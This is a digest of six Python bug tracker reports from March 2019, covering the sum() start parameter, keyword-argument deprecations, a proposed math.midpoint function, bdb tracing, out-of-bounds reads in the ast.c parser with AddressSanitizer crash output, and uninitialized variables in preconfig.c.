From: report at bugs.python.org (Camion)
Date: Sun, 31 Mar 2019 06:09:17 +0000
Subject: [New-bugs-announce] [issue36491] sum function's start optional
 parameter documented in help but not implemented
Message-ID: <1554012557.52.0.039399105575.issue36491@roundup.psfhosted.org>


New submission from Camion <camion_spam-pybugs at yahoo.com>:

>>> help(sum)
Help on built-in function sum in module builtins:

sum(iterable, start=0, /)
    Return the sum of a 'start' value (default: 0) plus an iterable of numbers
    
    When the iterable is empty, return the start value.
    This function is intended specifically for use with numeric values and may
    reject non-numeric types.

>>> sum([1, 2, 3], start=3)
Traceback (most recent call last):
  File "<pyshell#11>", line 1, in <module>
    sum([1, 2, 3], start=3)
TypeError: sum() takes no keyword arguments

By the way, it is very annoying that the start value is not available, because it hampers the possibility to use sum with things like vectors.

----------
components: Interpreter Core
messages: 339245
nosy: Camion
priority: normal
severity: normal
status: open
title: sum function's start optional parameter documented in help but not implemented
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36491>
_______________________________________

From report at bugs.python.org  Sun Mar 31 03:17:26 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 07:17:26 +0000
Subject: [New-bugs-announce] [issue36492] Deprecate passing some conflicting
 arguments by keyword
Message-ID: <1554016646.98.0.667285997331.issue36492@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

As Steve mentioned in the discussion about PEP 570 [1], some changes of parameters to positional-only are breaking (although there is no breaks in the stdlib code). Before making parameters positional-only we should add a deprecation warning for passing them as keyword arguments. Similarly to the code used in the UserDict constructor (see issue22609).

The following PR adds deprecation warnings for other parameters which should be positional-only. It also fixes bugs about nonavailability to pass special keyword names like "self" or "func". Just one example:

>>> import functools
>>> def f(self, func): pass
... 
>>> functools.partialmethod(f, func=chr)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: __init__() got multiple values for argument 'func'


[1] https://discuss.python.org/t/pep-570-python-positional-only-parameters/1078/53

----------
components: Library (Lib)
messages: 339249
nosy: serhiy.storchaka
priority: normal
severity: normal
status: open
title: Deprecate passing some conflicting arguments by keyword
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36492>
_______________________________________

From report at bugs.python.org  Sun Mar 31 09:10:06 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Sun, 31 Mar 2019 13:10:06 +0000
Subject: [New-bugs-announce] [issue36493] Add math.midpoint(a,b) function
Message-ID: <1554037806.92.0.427188886689.issue36493@roundup.psfhosted.org>


New submission from Stefan Behnel <stefan_ml at behnel.de>:

I recently read a paper? about the difficulty of calculating the most exact midpoint between two floating point values, facing overflow, underflow and rounding errors. The intention is to assure that the midpoint(a,b) is

- actually within the interval [a,b]
- the floating point number in that interval that is closest to the real midpoint (i.e. (a+b)/2).

It feels like a function that should be part of Python's math module.

? https://hal.archives-ouvertes.fr/file/index/docid/576641/filename/computing-midpoint.pdf

The author proposes the following implementation (pages 20/21):

midpoint(a,b) = 
    a  if a == b else             # covers midpoint(inf, inf)
    0  if a == -b else            # covers midpoint(-inf, +inf)
    -realmax  if a == -inf else   # min. double value
    +realmax  if b == +inf else   # max. double value
    round_to_nearest_even((a - a/2) + b/2)

I guess nans should simply pass through as in other functions, i.e. midpoint(a,nan) == midpoint(nan,b) == nan.

The behaviour for [a,inf] is decidedly up for discussion. There are certainly cases where midpoint(a,+inf) would best return +inf, but +realmax as an actual finite value also seems reasonable. OTOH, it's easy for users to promote inf->realmax or realmax->inf or even inf->a themselves, just like it's easy to check for +/-inf before calling the function. It just takes a bit longer to do these checks on user side. There could also be a "mode" argument that makes it return one of: a or b (i.e. the finite bound), +/-realmax or +/-inf in the two half-infinity cases.

What do you think about this addition?

----------
components: Library (Lib)
messages: 339257
nosy: mark.dickinson, rhettinger, scoder, stutzbach
priority: normal
severity: normal
status: open
title: Add math.midpoint(a,b) function
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36493>
_______________________________________

From report at bugs.python.org  Sun Mar 31 10:28:51 2019
From: report at bugs.python.org (daniel hahler)
Date: Sun, 31 Mar 2019 14:28:51 +0000
Subject: [New-bugs-announce] [issue36494] bdb: should set f_trace_lines =
 True
Message-ID: <1554042531.73.0.914325341354.issue36494@roundup.psfhosted.org>


New submission from daniel hahler <python-bugs at thequod.de>:

bdb.Bdb.set_trace should set "f_trace_lines = True" on frames explicitly.

Otherwise they might be skipped if something else has set it to False already, e.g. via a suggested change for coverage.py to set this for performance reasons (https://github.com/nedbat/coveragepy/pull/791).

----------
messages: 339259
nosy: blueyed
priority: normal
severity: normal
status: open
title: bdb: should set f_trace_lines = True
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36494>
_______________________________________

From report at bugs.python.org  Sun Mar 31 10:52:52 2019
From: report at bugs.python.org (Brad Larsen)
Date: Sun, 31 Mar 2019 14:52:52 +0000
Subject: [New-bugs-announce] [issue36495] Out-of-bounds array reads in
 Python/ast.c
Message-ID: <1554043972.42.0.422033771745.issue36495@roundup.psfhosted.org>


New submission from Brad Larsen <brad.larsen at gmail.com>:

There are currently 2 places in Python/ast.c on master where an out-of-bounds
array read can occur.

Both were introduced with the merge of of typed_ast into CPython in commit
dcfcd146f8e6fc5c2fc16a4c192a0c5f5ca8c53c (bpo-35766, GH-11645).

In both places, the out-of-bounds array read occurs when an index variable is
incremented, then used before checking that it is still valid.

The first out-of-bounds read, in `handle_keywordonly_args()`, around line 1403:

    case vfpdef:
    case tfpdef:
        if (i + 1 < NCH(n) && TYPE(CHILD(n, i + 1)) == EQUAL) {
            expression = ast_for_expr(c, CHILD(n, i + 2));
            if (!expression)
                goto error;
            asdl_seq_SET(kwdefaults, j, expression);
            i += 2; /* '=' and test */
        }
        else { /* setting NULL if no default value exists */
            asdl_seq_SET(kwdefaults, j, NULL);
        }
        if (NCH(ch) == 3) {
            /* ch is NAME ':' test */
            annotation = ast_for_expr(c, CHILD(ch, 2));
            if (!annotation)
                goto error;
        }
        else {
            annotation = NULL;
        }
        ch = CHILD(ch, 0);
        argname = NEW_IDENTIFIER(ch);
        if (!argname)
            goto error;
        if (forbidden_name(c, argname, ch, 0))
            goto error;
        arg = arg(argname, annotation, NULL, LINENO(ch), ch->n_col_offset,
                  ch->n_end_lineno, ch->n_end_col_offset,
                  c->c_arena);
        if (!arg)
            goto error;
        asdl_seq_SET(kwonlyargs, j++, arg);
        i += 1; /* the name */
        if (TYPE(CHILD(n, i)) == COMMA)           /* HERE, OOB read */
            i += 1; /* the comma, if present */
        break;

The second out-of-bounds read, in `ast_for_arguments()`, around line 1602:

    /* ... */
    case DOUBLESTAR:
        ch = CHILD(n, i+1);  /* tfpdef */
        assert(TYPE(ch) == tfpdef || TYPE(ch) == vfpdef);
        kwarg = ast_for_arg(c, ch);
        if (!kwarg)
            return NULL;
        i += 2; /* the double star and the name */
        if (TYPE(CHILD(n, i)) == COMMA)           /* HERE, OOB read */
            i += 1; /* the comma, if present */
        break;
    /* ... */

You might see these out-of-bounds reads as crashes at various points during the
build process if you configure as so:

    $ clang --version
    clang version 8.0.0 (tags/RELEASE_800/final)
    Target: x86_64-unknown-linux-gnu
    Thread model: posix
    InstalledDir: /usr/local/bin

    $ clang++ --version
    clang version 8.0.0 (tags/RELEASE_800/final)
    Target: x86_64-unknown-linux-gnu
    Thread model: posix
    InstalledDir: /usr/local/bin

    $ export ASAN_OPTIONS=detect_leaks=0 CC=clang CXX=clang++
    $ ./configure --with-address-sanitizer --without-pydebug

    $ make   # might fail partway through, but a python binary should still be produced

Finally, to see crashes from the out-of-bounds reads:

    $ ./python.exe -c 'def foo(f, *args, kw=None): pass'
    =================================================================
    ==59698==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x613000006740 at pc 0x0000009aff20 bp 0x7ffe94660260 sp 0x7ffe94660258
    READ of size 2 at 0x613000006740 thread T0
        #0 0x9aff1f in handle_keywordonly_args /cpython/Python/ast.c:1403:21
        #1 0x9af034 in ast_for_arguments /cpython/Python/ast.c:1588:31
        #2 0x9bb174 in ast_for_funcdef_impl /cpython/Python/ast.c:1748:12
        #3 0x99ce99 in PyAST_FromNodeObject /cpython/Python/ast.c:806:25
        #4 0x7bc4a2 in PyParser_ASTFromStringObject /cpython/Python/pythonrun.c:1216:15
        #5 0x7ba4cf in PyRun_StringFlags /cpython/Python/pythonrun.c:963:11
        #6 0x7ba422 in PyRun_SimpleStringFlags /cpython/Python/pythonrun.c:461:9
        #7 0x512c5e in pymain_run_command /cpython/Modules/main.c:220:11
        #8 0x512c5e in pymain_run_python /cpython/Modules/main.c:501
        #9 0x512c5e in _Py_RunMain /cpython/Modules/main.c:583
        #10 0x5144e2 in pymain_main /cpython/Modules/main.c:612:12
        #11 0x51485f in _Py_UnixMain /cpython/Modules/main.c:636:12
        #12 0x7f62e8f92b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
        #13 0x437729 in _start (/cpython/python.exe+0x437729)

    0x613000006740 is located 0 bytes to the right of 384-byte region [0x6130000065c0,0x613000006740)
    allocated by thread T0 here:
        #0 0x4e34ef in realloc /tmp/tmp.XYTE7P6bCb/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:165:3
        #1 0x8fa635 in PyNode_AddChild /cpython/Parser/node.c:120:22
        #2 0x9d16f6 in shift /cpython/Parser/parser.c:114:11
        #3 0x9d16f6 in PyParser_AddToken /cpython/Parser/parser.c:285
        #4 0x8fbee3 in parsetok /cpython/Parser/parsetok.c:332:14
        #5 0x7bc44a in PyParser_ASTFromStringObject /cpython/Python/pythonrun.c:1206:15
        #6 0x7ba4cf in PyRun_StringFlags /cpython/Python/pythonrun.c:963:11
        #7 0x7ba422 in PyRun_SimpleStringFlags /cpython/Python/pythonrun.c:461:9
        #8 0x512c5e in pymain_run_command /cpython/Modules/main.c:220:11
        #9 0x512c5e in pymain_run_python /cpython/Modules/main.c:501
        #10 0x512c5e in _Py_RunMain /cpython/Modules/main.c:583
        #11 0x5144e2 in pymain_main /cpython/Modules/main.c:612:12
        #12 0x51485f in _Py_UnixMain /cpython/Modules/main.c:636:12
        #13 0x7f62e8f92b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

    SUMMARY: AddressSanitizer: heap-buffer-overflow /cpython/Python/ast.c:1403:21 in handle_keywordonly_args
    Shadow bytes around the buggy address:
      0x0c267fff8c90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
      0x0c267fff8ca0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa
      0x0c267fff8cb0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c267fff8cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c267fff8cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c267fff8ce0: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
      0x0c267fff8cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c267fff8d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c267fff8d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c267fff8d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c267fff8d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==59698==ABORTING

    $ ./python.exe -c 'def foo(f, **kws): pass'
    =================================================================
    ==59696==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61000001cc00 at pc 0x0000009af45c bp 0x7fff799ca580 sp 0x7fff799ca578
    READ of size 2 at 0x61000001cc00 thread T0
        #0 0x9af45b in ast_for_arguments /cpython/Python/ast.c:1602:21
        #1 0x9bb174 in ast_for_funcdef_impl /cpython/Python/ast.c:1748:12
        #2 0x99ce99 in PyAST_FromNodeObject /cpython/Python/ast.c:806:25
        #3 0x7bc4a2 in PyParser_ASTFromStringObject /cpython/Python/pythonrun.c:1216:15
        #4 0x7ba4cf in PyRun_StringFlags /cpython/Python/pythonrun.c:963:11
        #5 0x7ba422 in PyRun_SimpleStringFlags /cpython/Python/pythonrun.c:461:9
        #6 0x512c5e in pymain_run_command /cpython/Modules/main.c:220:11
        #7 0x512c5e in pymain_run_python /cpython/Modules/main.c:501
        #8 0x512c5e in _Py_RunMain /cpython/Modules/main.c:583
        #9 0x5144e2 in pymain_main /cpython/Modules/main.c:612:12
        #10 0x51485f in _Py_UnixMain /cpython/Modules/main.c:636:12
        #11 0x7f0c78595b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
        #12 0x437729 in _start (/cpython/python.exe+0x437729)

    0x61000001cc00 is located 0 bytes to the right of 192-byte region [0x61000001cb40,0x61000001cc00)
    allocated by thread T0 here:
        #0 0x4e34ef in realloc /tmp/tmp.XYTE7P6bCb/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:165:3
        #1 0x8fa635 in PyNode_AddChild /cpython/Parser/node.c:120:22
        #2 0x9d16f6 in shift /cpython/Parser/parser.c:114:11
        #3 0x9d16f6 in PyParser_AddToken /cpython/Parser/parser.c:285
        #4 0x8fbee3 in parsetok /cpython/Parser/parsetok.c:332:14
        #5 0x7bc44a in PyParser_ASTFromStringObject /cpython/Python/pythonrun.c:1206:15
        #6 0x7ba4cf in PyRun_StringFlags /cpython/Python/pythonrun.c:963:11
        #7 0x7ba422 in PyRun_SimpleStringFlags /cpython/Python/pythonrun.c:461:9
        #8 0x512c5e in pymain_run_command /cpython/Modules/main.c:220:11
        #9 0x512c5e in pymain_run_python /cpython/Modules/main.c:501
        #10 0x512c5e in _Py_RunMain /cpython/Modules/main.c:583
        #11 0x5144e2 in pymain_main /cpython/Modules/main.c:612:12
        #12 0x51485f in _Py_UnixMain /cpython/Modules/main.c:636:12
        #13 0x7f0c78595b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

    SUMMARY: AddressSanitizer: heap-buffer-overflow /cpython/Python/ast.c:1602:21 in ast_for_arguments
    Shadow bytes around the buggy address:
      0x0c207fffb930: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
      0x0c207fffb940: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c207fffb950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c207fffb960: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c207fffb970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c207fffb980:[fa]fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c207fffb990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c207fffb9a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c207fffb9b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c207fffb9c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c207fffb9d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==59696==ABORTING

----------
components: Build, Interpreter Core
messages: 339260
nosy: blarsen
priority: normal
severity: normal
status: open
title: Out-of-bounds array reads in Python/ast.c
type: security
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36495>
_______________________________________

From report at bugs.python.org  Sun Mar 31 12:46:03 2019
From: report at bugs.python.org (Brad Larsen)
Date: Sun, 31 Mar 2019 16:46:03 +0000
Subject: [New-bugs-announce] [issue36496] Local variables can be used
 uninitialized in _PyPreConfig_Read()
Message-ID: <1554050763.93.0.364085310832.issue36496@roundup.psfhosted.org>


New submission from Brad Larsen <brad at bradfordlarsen.com>:

In bpo-36301, in commit f72346c47537657a287a862305f65eb5d7594fbf, a couple possible uses of uninitialized variables were introduced into Python/preconfig.c.

In particular, in _PyPreConfig_Read(), along an error-handling path, the `init_utf8_mode` and `init_legacy_encoding` variables will be read uninitialized.

    _PyInitError
    _PyPreConfig_Read(_PyPreConfig *config, const _PyArgv *args)
    {
        /* ... */
    
        if (args) {
            err = _PyPreCmdline_SetArgv(&cmdline, args);
            if (_Py_INIT_FAILED(err)) {
                goto done;                                            /* ERROR HANDLING DONE HERE */
            }
        }
    
        int init_utf8_mode = Py_UTF8Mode;                             /* VARIABLE INITIZLIED HERE */
    #ifdef MS_WINDOWS
        int init_legacy_encoding = Py_LegacyWindowsFSEncodingFlag;    /* VARIABLE INITIZLIED HERE */
    #endif
    
        /* ... */
    
    done:
        if (init_ctype_locale != NULL) {
            setlocale(LC_CTYPE, init_ctype_locale);
            PyMem_RawFree(init_ctype_locale);
        }
        _PyPreConfig_Clear(&save_config);
        Py_UTF8Mode = init_utf8_mode ;                                /* UNINITIALIZED READ HERE */
    #ifdef MS_WINDOWS
        Py_LegacyWindowsFSEncodingFlag = init_legacy_encoding;        /* UNINITIALIZED READ HERE */
    #endif
        _PyPreCmdline_Clear(&cmdline);
        return err;
    }

----------
components: Interpreter Core
messages: 339268
nosy: blarsen
priority: normal
severity: normal
status: open
title: Local variables can be used uninitialized in _PyPreConfig_Read()
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36496>
_______________________________________